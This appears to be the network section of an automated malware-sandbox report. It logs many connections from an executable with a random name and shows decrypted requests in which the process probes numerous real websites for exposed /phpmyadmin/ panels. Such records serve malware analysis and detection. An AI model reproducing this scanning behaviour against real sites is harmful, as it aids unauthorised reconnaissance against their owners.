568	192.168.2.4	55725	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.4	55722	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.4	55863	104.21.63.202	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.4	55780	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.4	55756	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.4	55823	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.4	55804	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.4	56065	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.4	56052	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.4	56057	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.4	56097	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.4	56120	15.236.29.106	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.4	55763	164.52.221.51	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.4	56098	3.111.240.6	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.4	56164	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.4	56096	120.88.73.238	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.4	56269	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.4	56272	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.4	56301	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.4	56345	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.4	56347	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.4	56358	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.4	56378	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.4	56380	117.20.63.148	2030	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.4	56448	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.4	56464	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.4	56496	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.4	56728	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.4	56770	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.4	56788	3.111.240.6	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.4	56879	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.4	56893	18.229.0.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.4	56914	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.4	57179	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.4	57191	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.4	57202	117.20.63.148	2030	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.4	57363	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.4	57439	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.4	57455	3.111.240.6	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.4	57462	120.88.73.238	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.4	57895	18.229.0.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.4	58172	117.20.63.148	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.4	58605	117.20.63.148	2030	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.4	59180	104.21.63.202	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50350	35.237.190.156	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: krkconcord.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:28 UTC	166	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 34 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:28 GMTContent-Type: text/htmlContent-Length: 146Connection: closeVary: Accept-Encoding
2023-11-26 05:59:28 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50256	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: directlendersllc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:28 UTC	383	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 37 30 37 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 38 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 4c 69 74 65 53 70 65 65 64 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 32 35 39 32 30 30 30 2c 20 68 33 2d 32 39 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 32 35 39 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closecontent-type: text/htmlcontent-length: 707date: Sun, 26 Nov 2023 05:59:28 GMTserver: LiteSpeedlocation: https://mydirectlender.com/phpmyadmin/alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=259
2023-11-26 05:59:28 UTC	707	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50333	3.234.162.143	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: t1eng.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:28 UTC	416	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 70 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 31 32 33 38 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 38 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 4c 69 74 65 53 70 65 65 64 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b Data Ascii: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Sun, 26 Nov 2023 05:59:28 GMTserver: LiteSpeedalt-svc: h3=":443";
2023-11-26 05:59:28 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-11-26 05:59:28 UTC	286	IN	Data Raw: 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 Data Ascii: br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50136	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	217	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheLocation: https://www.knu.ac.in/phpmyadmin/Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:29 UTC	301	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/phpmyadmin/">here</a>.</p><hr><address>Apache Server a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50671	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:28 UTC	625	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/phpmyadmin/Server: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50603	159.203.32.4	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	176	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 3029Connection: closeContent-Type: text/html; charset=UTF-8
2023-11-26 05:59:29 UTC	3029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e Data Ascii: <!DOCTYPE html><html><meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta charset="utf-8"/> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" name="viewport"> <meta con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50766	162.241.224.218	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gasp-ga.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
